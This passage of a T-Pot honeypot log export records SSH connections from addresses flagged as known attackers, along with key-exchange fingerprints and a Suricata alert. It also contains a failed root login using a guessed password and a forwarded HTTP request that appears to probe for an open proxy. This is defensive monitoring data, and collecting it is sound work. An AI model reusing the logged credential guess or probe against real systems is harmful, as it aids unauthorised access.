"0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35340, "dest_port": 443, "timestamp": "2021-09-20T11:32:21.024410", "@timestamp": "2021-09-20T11:32:21.024Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
30135	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:32:21.357461+03	2021-09-20 14:45:02.606142+03	{"_id": "eQb6AnwBvYTbRNuEezok", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"id": 0, "data": "b'GET /multi/checkref.php HTTP/1.1\\\\r\\\\nTE: deflate,gzip;q=0.3\\\\r\\\\nConnection: TE, close\\\\r\\\\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\\\\r\\\\nAccept-Language: en-US\\\\r\\\\nHost: 96.43.128.70\\\\r\\\\nReferer: http://1632137540.com/\\\\r\\\\nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt\\\\\\\\)\\\\r\\\\n\\\\r\\\\n'", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "dest_ip": "96.43.128.70", "eventid": "cowrie.direct-tcpip.data", "message": "discarded direct-tcp forward request 0 to 96.43.128.70:80 with data b'GET /multi/checkref.php HTTP/1.1\\\\r\\\\nTE: deflate,gzip;q=0.3\\\\r\\\\nConnection: TE, close\\\\r\\\\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\\\\r\\\\nAccept-Language: en-US\\\\r\\\\nHost: 96.43.128.70\\\\r\\\\nReferer: http://1632137540.com/\\\\r\\\\nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt\\\\\\\\)\\\\r\\\\n\\\\r\\\\n'", "session": "a1a43167aa3f", "@version": "1", "dest_port": 80, "timestamp": "2021-09-20T11:32:21.357461Z", "@timestamp": "2021-09-20T11:32:21.357Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.data	\N	\N	\N
30136	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:32:41.298055+03	2021-09-20 14:45:02.608142+03	{"_id": "kwb6AnwBvYTbRNuExTpm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 1.117.219.217:46720 (192.168.176.2:22) [session: 229a31f5b16b]", "session": "229a31f5b16b", "@version": "1", "protocol": "ssh", "src_port": 46720, "dest_port": 22, "timestamp": "2021-09-20T11:32:41.298055Z", "@timestamp": "2021-09-20T11:32:41.298Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30138	1.117.219.217	109.199.241.180	Suricata	2021-09-20 14:32:41.549759+03	2021-09-20 14:45:02.611143+03	{"_id": "lgb6AnwBvYTbRNuExzoT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "1.117.219.217", "dest_ip": "192.168.20.116", "flow_id": 1356552289761287, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 46720, "dest_port": 22, "timestamp": "2021-09-20T11:32:41.549759Z", "@timestamp": "2021-09-20T11:32:41.549Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30139	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:32:41.549919+03	2021-09-20 14:45:02.612143+03	{"_id": "mAb6AnwBvYTbRNuEyDoj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "1.117.219.217", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 46720, "timestamp": "2021-09-20T11:32:41.549919", "@timestamp": "2021-09-20T11:32:41.549Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30140	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:32:42.128324+03	2021-09-20 14:45:02.613143+03	{"_id": "nwb6AnwBvYTbRNuEyTpP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 46.101.115.211:49688 (192.168.176.2:22) [session: 9c9dd5094e15]", "session": "9c9dd5094e15", "@version": "1", "protocol": "ssh", "src_port": 49688, "dest_port": 22, "timestamp": "2021-09-20T11:32:42.128324Z", "@timestamp": "2021-09-20T11:32:42.128Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30141	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:32:41.562653+03	2021-09-20 14:45:02.615142+03	{"_id": "oAb6AnwBvYTbRNuEyTpP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "229a31f5b16b", "@version": "1", "timestamp": "2021-09-20T11:32:41.562653Z", "@timestamp": "2021-09-20T11:32:41.562Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30142	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:32:42.131284+03	2021-09-20 14:45:02.617142+03	{"_id": "oQb6AnwBvYTbRNuEyTpP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "9c9dd5094e15", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:32:42.131284Z", "@timestamp": "2021-09-20T11:32:42.131Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30143	46.101.115.211	109.199.241.180	Suricata	2021-09-20 14:32:42.163817+03	2021-09-20 14:45:02.619143+03	{"_id": "ogb6AnwBvYTbRNuEyjr7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "46.101.115.211", "dest_ip": "192.168.20.116", "flow_id": 831859757574619, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49688, "dest_port": 22, "timestamp": "2021-09-20T11:32:42.163817Z", "@timestamp": "2021-09-20T11:32:42.163Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30144	46.101.115.211	109.199.241.180	Fatt	2021-09-20 14:32:42.163855+03	2021-09-20 14:45:02.620143+03	{"_id": "pQb6AnwBvYTbRNuEzDoN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "46.101.115.211", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 49688, "dest_port": 22, "timestamp": "2021-09-20T11:32:42.163855", "@timestamp": "2021-09-20T11:32:42.163Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30145	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:32:42.643923+03	2021-09-20 14:45:02.621142+03	{"_id": "pgb6AnwBvYTbRNuEzTo3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.login.failed", "message": "login attempt [root/password@] failed", "session": "229a31f5b16b", "@version": "1", "password": "password@", "username": "root", "timestamp": "2021-09-20T11:32:42.643923Z", "@timestamp": "2021-09-20T11:32:42.643Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30146	159.89.194.160	109.199.241.180	Suricata	2021-09-20 14:32:29.684131+03	2021-09-20 14:45:02.622141+03	{"_id": "fgb6AnwBvYTbRNuEmDou", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:32:29.323257+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "159.89.194.160", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 262720755461817, "payload": "AAADzAYUyNL8jfINEPjCPAVKdLR5pQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 47750, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:32:29.684131Z", "@timestamp": "2021-09-20T11:32:29.684Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...........\\r...<.Jt.y....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
30147	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:32:29.506354+03	2021-09-20 14:45:02.624142+03	{"_id": "gAb6AnwBvYTbRNuEmTpA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "159.89.194.160", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 47750, "timestamp": "2021-09-20T11:32:29.506354", "@timestamp": "2021-09-20T11:32:29.506Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30148	159.89.194.160	109.199.241.180	Cowrie	2021-09-20 14:32:29.502947+03	2021-09-20 14:45:02.625143+03	{"_id": "hwb6AnwBvYTbRNuEmjpo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.89.194.160", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 159.89.194.160:47750 (192.168.176.2:22) [session: 0ecf2319aa26]", "session": "0ecf2319aa26", "@version": "1", "protocol": "ssh", "src_port": 47750, "dest_port": 22, "timestamp": "2021-09-20T11:32:29.502947Z", "@timestamp": "2021-09-20T11:32:29.502Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30149	159.89.194.160	109.199.241.180	Cowrie	2021-09-20 14:32:29.68475+03	2021-09-20 14:45:02.626142+03	{"_id": "iAb6AnwBvYTbRNuEmjpo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "159.89.194.160", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": 